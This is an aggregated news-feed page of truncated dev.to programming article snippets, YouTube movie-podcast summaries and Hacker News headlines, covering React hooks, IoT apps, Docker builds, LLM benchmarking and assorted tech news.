    Let's implement a custom hook that mimics the behavior of React's useState without using useState internally. This will involve using React's underlying mechanisms, specifically leveraging a simple state management approach with a closure or a global store to maintain state across renders. Here's a basic implementation of a custom useState-like hook: import React from 'react'; // A simple array to store state values for different components/hooks const stateStore = []; let currentIndex = 0; // Reset index for each render (this would typically be handled by React's fiber tree) function resetIndex() { currentIndex = 0; } // Custom hook to mimic useState function useCustomState(initialValue) { // Capture the current index for this hook call const index = currentIndex; currentIndex+…  ( 7 min )
    AI AIR APP — Connect Your Air Quality Sensor & See Your Data
    👥 Who Is It For? Home users who want to monitor indoor air quality. Outdoor enthusiasts who care about pollution levels before stepping out. Researchers & developers experimenting with IoT sensors and environmental data. Health-conscious individuals who want personalized insights into air quality and wellness. If you have an IoT air-quality se``nsor, this app is your gateway to real-time monitoring, analytics, and AI-powered predictions. 💡 What Does It Do? PM2.5 & PM10 levels Temperature & humidity Air Quality Index (AQI) in real time It also provides: 📊 Interactive graphs to track trends 🤖 AI predictions for the next 4 hours 🩺 Health tips based on AQI levels 🌦️ Weather + AQI forecasts for smarter planning 🔌 How to Connect Your Sensor Login securely with your Firebase account. Connect ThingSpeak: Enter your Channel ID Enter your Write API Key Once connected, your sensor data flows directly into the app dashboard. Explore real-time readings, analytics, and AI-powered forecasts. 🚀 Why It Matters ✨ Ready to breathe smarter? Connect your sensor today and let AI AIR APP guide you toward healthier living.  ( 6 min )
    Improving AI Email Classification Accuracy Through Prompt Engineering
    Improving AI Email Classification Accuracy Through Prompt Engineering Overview We resolved email misclassification issues in our email classification system, where project emails (PROJECT) and talent emails (TALENT) were being incorrectly categorized. This article describes how we improved the problem of personnel emails containing "project desired" being misclassified as projects, using Few-shot learning and clearer judgment criteria. OpenAI GPT-4 Turbo (gpt-4-1106-preview) Claude 3 Opus (for comparison testing) TypeScript (v5.x) Prompt Engineering Few-shot Learning Natural Language Processing Our email classification AI was making incorrect judgments in cases like these: Misclassification Case 1: Personnel information classified as PROJECT Subject: [Personnel Information] In…  ( 16 min )
    5 Programming Secrets Learned The Hard Way (That AI Still Can't Teach You)
    We're living in a surreal time. If you’re not using AI (GitHub Copilot, Gemini, ChatGPT) to write at least some of your boilerplate, you're already behind. But relying on a model, no matter how powerful, has revealed new, brutal truths about development. Here are five "secrets" I learned the hard way—lessons that define the difference between a great engineer and a great prompt engineer. 🛑 Secret #1: The Error Message Is The Real Product. AI is fantastic at generating code that looks right. But the moment that code breaks, the true test of engineering quality begins. The AI Problem: Generative models prioritize smooth, functional-looking code. They don't prioritize debuggability. Their generated errors are often generic, context-free, and lead you on wild goose chases. The Hard-Won Secret…  ( 8 min )
    The AI Entropy Crisis: Model Collapse Will Destroy Future LLMs
    Hey, Dev.to community. Let's talk about the elephant in the data center: Generative AI is eating its own tail. You've heard of hallucinations, but that’s a feature, not a bug. The truly existential crisis facing the AI industry is Model Collapse, a concept so terrifying it threatens to degrade the intelligence of every future model. What is Model Collapse? (The AI Death Loop) This is what happens when new, powerful Large Language Models (LLMs) are trained on datasets that are increasingly polluted with content generated by previous LLMs. The Internet is now Synthetic: As AI-generated content floods the web (articles, code, images), the very data sources models rely on for training are getting "flatter" and less diverse. The Tails Vanish: Models trained on synthetic data lose sight of the "long-tail" of information—the rare edge cases, the unique opinions, the subtle details that make human data rich. The Convergence: The models begin to only produce outputs that resemble their own generic, average output, leading to repetitive, bland, and ultimately unoriginal content. 🤯 The Developer's Dilemma: The Research Problem: Future AI-powered research tools will increasingly provide only the "most-cited" or "most average" answers, causing genuine human knowledge to fade. This isn't theory. Researchers are seeing it now. We are training the next generation of genius on the mediocrity of the last one. Your Turn: Do you believe the industry can solve this data scarcity crisis, or are we witnessing the beginning of the great AI intellectual decay? Let me know!  ( 7 min )
    7 Dumb things I'd do if I started a software company
    Life is short, be proud of your work. AWS is probably the right choice because of it's 5 9s of availability on its core services. I've been on the other side and I trust that when something goes wrong, someone is aware and actively working to fix it before I even knew about it. ...Also, I want to support a diverse cloud market so instead of making the right choice, I'd probably go with startups like fly.io, tigris, clerk, and lemonsqueezy... not that I've thought about this or anything. SQL makes modeling a small domain easier, but wow does it cause problems. I remember being at a company where engineers had to plan to wake up at midnight to upgrade various dbs to meet quarterly objectives. I don't want to ever have to wake up to upgrade a db. At another company, all we did was debug index…  ( 8 min )
    A Complete Guide to Handling Missing Values in R: Concepts, Pitfalls, and Practical Imputation with mice
    Missing data is one of the biggest headaches for any analyst or data scientist. It silently breaks models, distorts patterns, destroys statistical power, and—if ignored—creates misleading insights. Analysts dread encountering missing values, but smart analysts know how to impute them effectively instead of simply dropping rows and shrinking their dataset. What Are Missing Values and Why Do They Matter? The Three Types of Missing Values (MCAR, MAR, NMAR) 2.1 MCAR: Missing Completely At Random (Rarest Case) 2.2 MAR: Missing At Random (Most Common in Business Data) 2.3 NMAR: Not Missing At Random (High-Risk Category) When Is It Safe to Ignore Missing Values? Common Imputation Strategies 4.1 Mean / Median Imputation (Numeric Data) 4.2 Moving Window or Rolling Means (Time-Series) 4.3 …  ( 9 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables with Bill Simmons and Kyle Brandt Bill Simmons and Kyle Brandt dive deep into John Hughes’s 1985 cult classic Weird Science—complete with sex, drugs, rock ’n’ roll, chips, dips, chains and whips—to unpack what makes Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s geek-meets-fantasy romp still worth a spin. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode is all about celebrating the highs, lows and weirdest moments of one of Hughes’s most off-beat teen comedies. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Sean Fennessey and Amanda Dobbins dive into Quentin Tarantino’s “Inglourious Basterds,” ranked No. 4 on their 25 Best Movies of the Century list. They argue it’s the ultimate Tarantino pick over “Once Upon a Time in Hollywood,” gush over Christoph Waltz’s scene-stealing turn, and unpack the film’s audacious, revisionist take on WWII. From its signature mix of dark humor and nail-biting tension to its bold stylistic flourishes, they explore how “Inglourious Basterds” redefined the war movie and cemented its status as one of the most electrifying cinematic experiences of the 21st century. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Wicked: For Good’ Is No Good
    Wicked: For Good gets a major side-eye from Sean, Amanda and Juliet Litman after they kick off the podcast by breaking down trailers for Charli XCX’s The Moment and The Hunger Games: Sunrise on the Reaping. The group finds John M. Chu’s big-budget musical a real head-scratcher—odd plot moves, flat characters—and they speculate on its box office haul, how this press tour stacks up against last year’s, and whether it’ll snag any Oscar buzz. Next up, they chat about Clint Bentley’s Train Dreams, praising its honest grief story, gorgeous digital cinematography, and stellar supporting cast. Then Bentley hops on to explain why he once thought the novella was unfilmable, how he meticulously crafted his logging sequences, and what’s on his mind about today’s indie-film landscape. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less Cinema Sins takes a whirlwind tour down the yellow brick road, poking fun at The Wiz’s plot holes, set quirks, and character hiccups—all in their signature rapid-fire style now that Wicked is back in theaters. Expect snarky takes on the Scarecrow’s one‐note shtick, unexpected costume choices, and any logic gaps they can squeeze into 15 minutes or less. Along the way, they drop links to their website, Discord, Reddit, multiple YouTube channels, and a Patreon for anyone who wants to keep feeding their growing team of sin counters. Don’t forget to fill out their sinful poll and see which writer gets dubbed the ultimate Wiz watchdog! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters is a 16-minute CinemaSins roast that gleefully rips apart the movie’s plot holes, cheesy dialogue and demon-slaying clichés. Along the way they plug their official site, spin-off YouTube channels, Discord, Reddit, and even run a sinful poll—plus invite you to back them on Patreon. Shout-outs roll to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you’ll find links to Jeremy’s book, Instagram, TikTok and more for your next fix of sinning shenanigans. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Biggest Disney Bombs: The Sorcerer’s Apprentice Disney’s on a bit of a roller-coaster these days—Marvel and Star Wars aren’t exactly smashing box-office records, and newbies like Wish and Elio have barely made a ripple. To remind us it’s not all doom and gloom (or maybe it is?), The Weekly Planet is rolling out a mini-series on four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice, starring Nicolas Cage, some half-baked magic and that memorable giant bird. Hosts James and Maso kick things off with their usual banter and deep dives—plus they’ve packed bonus podcasts, video commentaries and more over at bigsandwich.co. Watch on YouTube  ( 6 min )
    My Open-Source Contribution: Adding a feature to typescript-language-server
    I recently finished an open-source contribution that I’m actually really proud of. This time, I worked on the typescript-language-server project. I wanted to challenge myself with something more complex than what I normally do, and I came across Issue #956, which asked to support a new tsserver feature called --canUseWatchEvents. The idea behind the feature is that, in huge TypeScript projects, tsserver ends up watching thousands of files on its own, which can slow things down a lot. Newer versions of TypeScript offer a way for the editor to handle file watching instead, and only tell tsserver when something actually changes. VS Code already does this, but other editors that rely on the language server didn’t have this yet. I thought this would be a medium-level contribution, but it turned…  ( 7 min )
    How to add polylines to a map, change polyline color, and set polyline texture
    Read the original article:How to add polylines to a map, change polyline color, and set polyline texture Problem description How to add a polyline on a map, change its color, and set its texture? Background knowledge 1- Use the addPolyline interface to add a polyline . 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture Solution 1- Use the addPolyline interface to add a polyline . The line is black by default. 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture. This property supports two formats: ResourceStr and image.PixelMap. It is recommended to use an image without a background co…  ( 7 min )
    Why IDPs Are the Future of DevOps: A Platform Engineer’s Perspective
    ✅ 1.What is an IDP (Internal Developer Platform)? IDP = Internal Developer Platform In simple words: 🧩 2.Why we need IDP? (Real-world pain points) Companies create an IDP because: Before IDP (Pain) Developers continually ask DevOps: “Create my cluster” “Give me a CI pipeline” “Deploy my image” “Fix my YAML” DevOps becomes a helpdesk, overloaded with tickets. Delays cause: Slow releases Frustration Human errors Lack of standards After IDP (Solution) Developers get self-service, no dependency. DevOps burden becomes zero. Everything is standardized: same YAML templates same security same deployment flows Company productivity increases by 3×–10×. 🧭 3.Where to use IDP? IDP is used in every area of software engineering: Developers use IDP to: Create new microservice templates Run CI/CD pipelin…  ( 11 min )
    Transform Your LLM Apps: Monetize Conversations with Monetzly
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? The rapid growth of AI applications is exhilarating, but one fundamental challenge persists: monetization. Many developers find themselves on a tightrope, trying to balance user experience with the need for revenue. Enter Monetzly—the first platform that empowers developers to monetize their applications and earn from hosting relevant ads. Imagine a scenario where your AI app doesn't just provide value to users, but also generates income through dual revenue streams. With Monetzly, this is not just a dream; it’s a reality. Monetzly stands out in the AI landscape as the first dual-earning platform. Here’s how it works: Monetize Your App: No need for subscriptions or paywalls. You can keep your app accessible and user-…  ( 7 min )
    Make your Node.js APIs bulletproof using TypeScript Decorators 🛡️
    In the world of microservices and distributed systems, network failures are not a matter of "if", but "when". A single failing service can hang your entire application, consuming resources until it crashes. To prevent this, the Circuit Breaker pattern is essential. But let's be honest: implementing it often leads to messy code, with try/catch blocks wrapping every single API call. Today, I want to show you how to solve this elegantly using surge-kit, a lightweight, zero-dependency library I built for Node.js. With the release of v0.5.0, we can now use TypeScript Decorators to handle resilience declaratively. Usually, protecting a method looks like this: // The "Old Way" async getUser(id: string) { try { // Manual wrapping... repetitive and verbose return await circuitBreaker.fire…  ( 7 min )
    No other Icons Library Needed 🥶
    Iconify is here. It is OpenSource All in one Modern Ui Icons library. Just Paste this script in html head tag 🔗 Iconify by searching for your desired icon. Then, paste that tag in your body , whereever you wanna use it and Boom 🤯. Use CSS Font-Size to cusomtize the size of the icon and you can also do that by giving width & height to iconify-icon tag. Have you any suggestions or feedback? 🫠 Like & Follow us - If you want these kind of more things...  ( 6 min )
    How to Connect HubSpot in SSIS
    Introduction Learn how to connect HubSpot to SSIS using the ZappySys HubSpot connector to manage and integrate HubSpot data effortlessly. SSIS PowerPack: Download from the Customer Download Area or try the trial version. HubSpot Account: Make sure your HubSpot account is ready. Log in to your HubSpot account and create a Private App. Add a Data Flow Task in SSIS, and configure the HubSpot API Source. Enter your AccessToken in the configuration and test the connection. Preview the data from the HubSpot endpoint and save the configuration. Connecting HubSpot to SSIS via the ZappySys connector simplifies HubSpot data integration into your workflows. 👉 Read the full tutorial here for detailed steps and examples  ( 6 min )
    📸 How I Used Gemini 3 to Build a Retro Camera Tool
    I recently launched Retro Camera—a fun, browser-based tool that lets you capture photos with beautiful, classic vintage styling (date stamps, grain, captions) right from your webcam. But the real magic isn't in the simple HTML/CSS/Canvas—it's in how I used the Gemini 3 API to define and refine the filters' core aesthetic. The Challenge: Defining "Vintage" with Code That's where Gemini 3 stepped in. 🧠 Gemini 3: The Algorithmic Cinematographer I leveraged Gemini 3's advanced reasoning and multimodal understanding to solve this aesthetic problem in two powerful ways: Zero-Shot Aesthetic Definition Instead of spending hours tweaking color matrices, I used Gemini 3's powerful instruction-following to define the filters using natural language. Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: [Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: https://vatsalshah.in/tools/retro-camera  ( 7 min )
    Merging Multiple File Types into One PDF in C#
    In today's data-driven world, managing diverse document types efficiently is a common challenge for developers. Whether it's compiling reports, archiving project files, or streamlining document workflows, the need to consolidate various formats like Word documents, Excel spreadsheets, images, and HTML pages into a single, unified PDF file is ever-present. This process not only simplifies sharing and viewing but also ensures document integrity and consistency. However, manually converting and then merging these files can be tedious and prone to errors. This article addresses this technical pain point by providing a robust and practical solution. We will explore how to programmatically merge multiple file types into one PDF in C# using a powerful and user-friendly library: Spire.PDF for .NET…  ( 9 min )
    How to Update Custom Property Values in HubSpot with REST API Call
    Introduction If you need to update custom property values for HubSpot Contacts, Deals, or Accounts, here's a step-by-step guide to help you. Navigate to your Contact Properties in HubSpot. Click on Manage Properties and select Create Property. Choose the appropriate field type and options (e.g., dropdown, string, number). You can update custom fields using either HubSpot's API or an ODBC Driver. Example for updating a custom field: UPDATE Contacts Common Issue: Dropdown Property Error If you try to set a dropdown value not in the allowed list, you'll get a validation error. Always ensure the value is part of the predefined options. 👉 Read the full tutorial with examples and screenshots  ( 6 min )
    LLM Context Window Stress Testing: Reliability Under Load
    TL;DR: We stress-tested 6 LLMs under realistic context load. Standard LLM benchmarks fail to measure reliability under context stress - the ability to maintain accuracy and avoid hallucination as context windows fill. We developed a stress testing methodology that reveals catastrophic failures in popular models that score well on conventional benchmarks. Key Finding: LiquidAI's LFM2-8B, despite strong benchmark performance, achieved only 0.3% accuracy under context stress with catastrophic degradation patterns. In contrast, Qwen3-30B maintained 96.9% accuracy with graceful degradation across 108,000 tokens. Three stress test scenarios designed to measure real-world failure modes: 1. Stealth Needle Storm 40 secret codes hidden naturally in 128K tokens of mixed content (code, prose, technic…  ( 8 min )
    Stock Price Prediction With Machine Learning Model
    Colab-ready: improved stable pipeline with Optuna + LGB + XGB + stacking 1) ก่อนรัน ให้อัปโหลดไฟล์ผ่าน Colab UI: /content/train.csv, /content/test.csv, /content/sample_submission.csv 2) Copy-paste ทั้งหมดนี้ใน cell เดียวแล้วรัน ------------------------- ติดตั้งไลบรารี (ครั้งแรก) !pip install --quiet lightgbm xgboost scikit-learn pandas numpy matplotlib optuna import warnings import os SEED = 42 TRAIN_PATH = "/content/train (1).csv" for p in [TRAIN_PATH, TEST_PATH, SAMPLE_SUB_PATH]: train = pd.read_csv(TRAIN_PATH) print("train shape:", train.shape) train = train.sort_values('id').reset_index(drop=True) train['price'] = train['price'].astype(float) if 'price' not in test.columns: all_df = pd.concat([train[['id','price']], test[['id','price']]], i…  ( 10 min )
    The fastest way to start a Mithril + Ionic + Vite project in 2025
    Building mobile-ready web applications often involves a heavy stack. You have React, Angular, or Vue combined with a UI framework, and suddenly your bundle size is massive before you've even written a line of code. Enter Mithril.js. It's a modern client-side JavaScript framework for building Single Page Applications. It's small (< 10kb gzip), fast, and provides routing and XHR utilities out of the box. Combine that with Ionic Framework for native-like UI components and Vite for instant dev server start times, and you have a powerhouse stack for rapid development. But setting this up manually? Configuring Vite to handle Mithril's JSX (or Hyperscript), setting up Ionic's loader, configuring the router... it's a pain. That's why I built create-vitriol. create-vitriol is a scaffolding tool tha…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen sci-fi comedy Weird Science—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith—and unpack all the sex, drugs, rock ’n’ roll (and yes, chains, whips, chips and dips) that made it a cult classic. They’re joined by producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, plus there’s a cheeky State Farm mention about bundling and saving with the Personal Price Plan®. Don’t forget to subscribe to The Ringer’s channels for more movie deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is trekking down the yellow brick road to roast The Wiz now that Wicked is back in theaters, serving up their signature snark and “sins” in a quickfire 15-minute breakdown. Think of it as a hilarious, consequence-free trip to Oz—no flying monkeys required. They’ve also dropped a stack of links to keep you hooked: their main site, YouTube channels, social media handles (Twitter, Instagram, TikTok), a sinful poll, Patreon for superfans, plus writer bios if you want to see who’s behind the sass. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the new KPop Demon Hunters flick with their signature blend of playful nitpicks and rapid-fire “sins,” poking fun at the fight choreography, plot leaps, and surprise cameos—all wrapped up in under 16 minutes of snarky commentary. Hungry for more? Hit up their main site or dive into spin-off YouTube channels (TVSins, CommercialSins), join the CinemaSins Discord/Reddit, check out Jeremy’s book, fill out a quick poll, or toss a coin to the Patreon squad for extra goodies. Watch on YouTube  ( 6 min )
    How BuildKit Parallelizes Your Builds
    When you run docker build, you might assume your Dockerfile instructions execute one after another, like a traditional script. But behind the scenes, BuildKit is doing something far more sophisticated. At the heart of BuildKit lies a DAG (Directed Acyclic Graph) solver that transforms your Dockerfile into an optimized execution plan, identifying all parallelizable operations while maintaining dependency order. We've previously covered how BuildKit works here, but today we're discussing how BuildKit parallelizes your builds to make them faster and more efficient. BuildKit parses build instructions into something called LLB (Low-Level Build) format, creating a dependency graph of all the operations needed to produce your final image: The DAG solver examines each instruction in your build a…  ( 9 min )
    Give Your SQLite Queries Their Own Workers: A Practical Guide for Node.js Developers
    SQLite is known for being lightweight, reliable, and surprisingly fast. In the Node.js ecosystem, one of the most popular libraries for working with it is better-sqlite3. The performance is excellent, but there is one important detail many developers overlook: the library is synchronous. When a heavy query is executed, the Node.js event loop stops until the database finishes its work. For small side projects, this never becomes noticeable. But once you introduce API routes, server-side rendering, analytics, background processing, or any data-heavy task, the synchronous nature starts to show its limits. In this guide, I’ll walk you through a practical way to eliminate those bottlenecks by moving your SQLite queries into worker threads. This approach keeps the simplicity of better-sqlite3 wh…  ( 8 min )
    I put an Air-Gapped Neural Network in my pocket (Python on Android)
    The Pocket Mainframe I shared my desktop AI defense system. Now I'm sharing the mobile unit. This is NEXUS v9, a sovereign network intelligence tool designed to run natively on Android (via Pydroid3 or Termux). Most "AI apps" on your phone are just wrappers sending your data to a cloud API. This is different. This is a complete, self-contained neural network running locally on my device. Running a complex defense system on a phone presents unique challenges: No Root Access: I can't easily access system-level process data. Dependency Hell: Installing numpy or scipy on Android can be tricky. Battery/Resources: Spawning 50 threads kills a battery instantly. To make this work, I had to rewrite the core engine: AsyncIO Network Scanner: Replaced threading with asyncio. It scans hundreds of ports/hosts concurrently without locking up the UI or draining the battery. Pure Python Fallbacks: I wrote a custom NeuralNetwork class that checks for numpy. If it's missing, it seamlessly degrades to a pure Python implementation of the dense layers and activation functions. It trains on-device. Synthetic Baselines: Since I can't always read raw CPU/RAM on non-rooted devices, the system builds its own baseline of "normal" behavior and detects anomalies relative to its own process state. Because "Personal Security" shouldn't require a server rack. I can walk into a network environment, pull out my phone, and have the same level of anomaly detection and analysis as I do at my desk—completely offline. Repo updated with the Android Branch: https://github.com/SovArcNeo  ( 6 min )
    Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge by Arvind Sundararajan
    Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge Tired of brittle robot behaviors that fall apart when the environment changes? Are you struggling to scale your autonomous systems beyond pre-programmed routines? There's a better way to build truly intelligent robots: move beyond imperative control flows and embrace knowledge-driven autonomy. Instead of explicitly coding every action sequence with behavior trees, imagine describing the robot's understanding of the world and letting it figure out the optimal course of action. That's the power of executable ontologies – dynamic knowledge graphs that empower robots to reason, adapt, and learn on the fly. Think of it like this: behavior trees are like a pre-written script, while an executable ontology is like giving …  ( 7 min )
    TestRail Manager: Automatiza tu Gestión de Pruebas con Python
    🚀 TestRail Manager: Automatiza tu Gestión de Pruebas con Python ¿Cansado de gestionar manualmente tus casos de prueba en TestRail? ¿Quieres automatizar el reporte de resultados desde tus tests? TestRail Manager es la solución que necesitas. TestRail Manager es una librería Python completa que te permite interactuar con la API de TestRail de forma simple y eficiente. Con ella puedes: ✅ Crear y gestionar proyectos, suites y casos de prueba ✅ Ejecutar test runs automáticamente ✅ Reportar resultados desde tus frameworks de testing (pytest, unittest, etc.) ✅ Generar métricas y reportes detallados ✅ Integrar TestRail en tu pipeline CI/CD Como QA Engineer, me encontraba constantemente: 📝 Creando casos de prueba manualmente en TestRail 🔄 Actualizando resultados uno por uno después de ca…  ( 10 min )
    Boost Developer Revenue with Monetzly's API Monetization Strategies
    Traditional Ads Don’t Work in AI Conversations. Here’s What Does. As the AI application landscape explodes, many developers face a common challenge: monetizing their innovations without disrupting the user experience. Enter Monetzly—the first dual-earning platform designed for AI conversations, where developers can monetize their apps while hosting relevant ads. Most advertising models rely on interruptive placements, which can clash with the seamless interactions users expect from AI applications. Imagine you're using a chatbot for customer service, and suddenly, an irrelevant banner ad pops up. It’s jarring and detracts from the experience. Monetzly reimagines this dynamic by introducing conversation-native advertising—ads that are integrated into the conversation itself, providing v…  ( 7 min )
    Building an Air-Gapped AI Defense System in Python (No Cloud APIs)
    The Sovereign Architecture Most modern AI development relies heavily on cloud APIs and external dependencies. I decided to go the other direction: Total Sovereignty. I am building NEXUS, an offline-first, air-gapped AI defense system designed to run on local hardware (Linux and Android/Termux). The goal is to create recursive intelligence that functions without an internet connection, ensuring privacy and zero data leakage. I avoid "black box" libraries where possible. My stack focuses on: Core: Python 3.x (Dependency-free where possible) GUI: Custom Tkinter interfaces (Cyberpunk/Matrix aesthetic for high-contrast visibility) Logic: Recursive "Breeding Cycles" rather than standard versioning. I spawn multiple instances, stress-test them, and the surviving code becomes the baseline for the next generation. Deployment: Runs natively on Linux or via Termux on Android. I recently refactored my modular agents into standalone applications. Pictured in the cover image are: ARCHITECT (Green): A Neural Enhanced Security Platform for Command & Control. SENTINEL (Blue): A Quantum-resistant defensive monitor for system metrics and threat detection. In a world of connected APIs, building "air-gapped" software forces you to understand the logic from the ground up. You can't call an API to solve the problem; you have to engineer the solution yourself. I am currently open-sourcing these tools to share this "Sovereign" philosophy with the community. Check out the repositories here: https://github.com/SovArcNeo Visualized above: Two of my modular agents ('Architect' and 'Sentinel') that I recently refactored into standalone applications.  ( 6 min )
    Day 1271 : Full Circle
    liner notes: Professional : Pretty good day. Had the normal meetings. Responded to some community questions. I've been thinking through how I want to refactor this project from one platform to using GitHub Codespaces since the code would be in a GitHub repo anyway. I've been trying to see how I can unwind what we've already done, but it looks like it would be a lot more work than starting from scratch again. To validate my hunch, I asked went to Google Gemini. Gemini 3 just came out and I'm on the Pro plan so I figured I would try it out with Deep Research. I explained what I want to achieve trying to be very specific. I uploaded a zip file that my part of the process creates so that it has an idea of what the input would look like. I even provided a link to a similar project I created usi…  ( 7 min )
    DSA Fundamentals: Linked Lists - Mastering Dynamic Data Structures
    Linked Lists are fundamental data structures that overcome key limitations of arrays, particularly when it comes to insertion and deletion operations. This comprehensive guide explores linked list theory and demonstrates essential patterns through practical LeetCode solutions. A Linked List is a linear data structure where elements (nodes) are stored in non-contiguous memory locations. Each node contains: Value: The data being stored Pointer: Reference to the next node in the sequence This non-contiguous memory allocation is the fundamental difference from arrays, enabling efficient insertions and deletions. Operation Array Linked List Random Access O(1) O(n) Search O(n) O(n) Insertion at Beginning O(n) O(1) Insertion at End O(1)* O(n) or O(1)** Deletion at Beginning O(n) O(…  ( 11 min )
    Website shaped like a brochure
    🚀 Excited to share my latest project: a Digital Brochure Template! https://payhip.com/b/DeCyj  ( 6 min )
    🖥️ Experiencia con Pop!_OS
    Expectativas iniciales • Objetivo: Contar con un sistema operativo que sirviera tanto para programar como para jugar. Instalación • Obstáculo principal: El instalador no ofrece opciones de multiboot. Experiencia de uso • Entorno gráfico (GNOME): Evaluación crítica • Aspectos negativos: Próximos pasos • Decisión: Probar otra distribución Linux que ofrezca mejor balance entre rendimiento, personalización y soporte para juegos.  ( 6 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ main theme “Starlit Journey” gets a playful deep dive, showing how its bubbly intro, bright verse, catchy chorus, dynamic bridge, and triumphant final choruses all work together to spark pure, joy-packed energy. With handy timestamps (0:00 Starlit Journey, 0:59 Intro, 2:47 Verse, 5:56 Chorus, 9:51 Bridge, 10:47 Final Choruses, 14:00 “I love music”) you can jump right to each section. Plus, there’s links to the creator’s Patreon, merch store, Discord, and Twitter for anyone hungry for more game-music goodness. Watch on YouTube  ( 6 min )
    JS Thread, Native UI Thread, The Bridge and the Shadow Layer in React Native - analogy
    Analogy: The Business Manager, The Translator, and The Scribe This analogy maps the classic React Native architecture onto a fast-paced corporate strategy session that needs external visualization and user feedback. Role: The Business Manager (your React components and logic). Action: They are responsible for the strategy and logic. They process all the raw data, decide what information is most important, and formulate the final plan of what the audience needs to see and interact with. Limitation: They only speak JavaScript (a proprietary foreign language) and cannot talk directly to the audience or draw on the whiteboard themselves. Role: The Single Foreign Language Translator. Action: This person is the only link. They take the Business Manager's complex strategic plans (JS code) and ser…  ( 9 min )
  • Open

    Explaining, at some length, Techmeme's 20 years of consistency
    Comments  ( 15 min )
    Using Antigravity for Statistical Physics in JavaScript
    Comments  ( 2 min )
    How sea turtles learn locations using Earth’s magnetic field: research
    Comments  ( 8 min )
    I learned Vulkan and wrote a small game engine with it
    Comments  ( 31 min )
    Apple's Problem with Bodies
    Comments  ( 20 min )
    3D printing with unconventional vase mode
    Comments  ( 8 min )
    California DMV approves map increase in Waymo driverless operations
    Comments  ( 7 min )
    A time-travelling door bug in Half Life 2
    Comments  ( 1 min )
    How the Atomic Tests Looked Like from Los Angeles
    Comments  ( 25 min )
    Personal blogs are back, should niche blogs be next?
    Comments
    Using an Array of Needles to Create Solid Knitted Shapes
    Comments
    Is Matrix Multiplication Ugly?
    Comments  ( 15 min )
    LAPD Helicopter Tracker with Real-Time Operating Costs
    Comments
    The Untold History of Arduino
    Comments  ( 20 min )
    Arduino Terms of Service and Privacy Policy update: setting the record straight
    Comments  ( 10 min )
    The senior population is booming. Caregiving is struggling to keep up
    Comments  ( 93 min )
    FEX: A fast usermode x86 and x86-64 emulator for ARM64 Linux
    Comments  ( 6 min )
    We Remain Alive Also in a Dead Internet
    Comments
    Pixar: The Early Days A never-before-seen 1996 interview
    Comments  ( 20 min )
    We remember the internet bubble. This mania looks and feels the same
    Comments  ( 26 min )
    We Induced Smells With Ultrasound
    Comments  ( 12 min )
    Tuxedo Computers Cancels Snapdragon X1 Linux Laptop
    Comments  ( 7 min )
    Cloudflare Dashboard and Cloudflare API service issues
    Comments  ( 15 min )
    Brazil charges 31 people in major carbon credit fraud investigation
    Comments  ( 6 min )
    How/why to sweep async tasks under a Postgres table
    Comments  ( 4 min )
    Building the largest known Kubernetes cluster, with 130k nodes
    Comments  ( 23 min )
    McDonald's is losing its low-income customers: a symptom of the wealth divide
    Comments  ( 26 min )
    Helping Valve to Power Up Steam Devices
    Comments  ( 6 min )
    FizzBuzz with Cosines
    Comments  ( 9 min )
    How Cops Are Using Flock's ALPR Network to Surveil Protesters and Activists
    Comments  ( 9 min )
    Bronze Age mega-settlement in Kazakhstan has advanced urban planning, metallurgy
    Comments
    Pivot Robotics (YC W24) Is Hiring for an Industrial Automation Hardware Engineer
    Comments  ( 2 min )
    Downsampling: Largest-Triangle-Three-Buckets and the Fourier Transform
    Comments  ( 2 min )
    Private Equity's New Venture: Youth Sports
    Comments  ( 10 min )
    Show HN: OCR Arena – A playground for OCR models
    Comments  ( 1 min )
    You can make PS2 games in JavaScript
    Comments
    Show HN: Wealthfolio 2.0- Open source investment tracker. Now Mobile and Docker
    Comments  ( 6 min )
    Command Lines – AI Coding's Control Spectrum
    Comments  ( 17 min )
    The New AI Consciousness Paper – By Scott Alexander
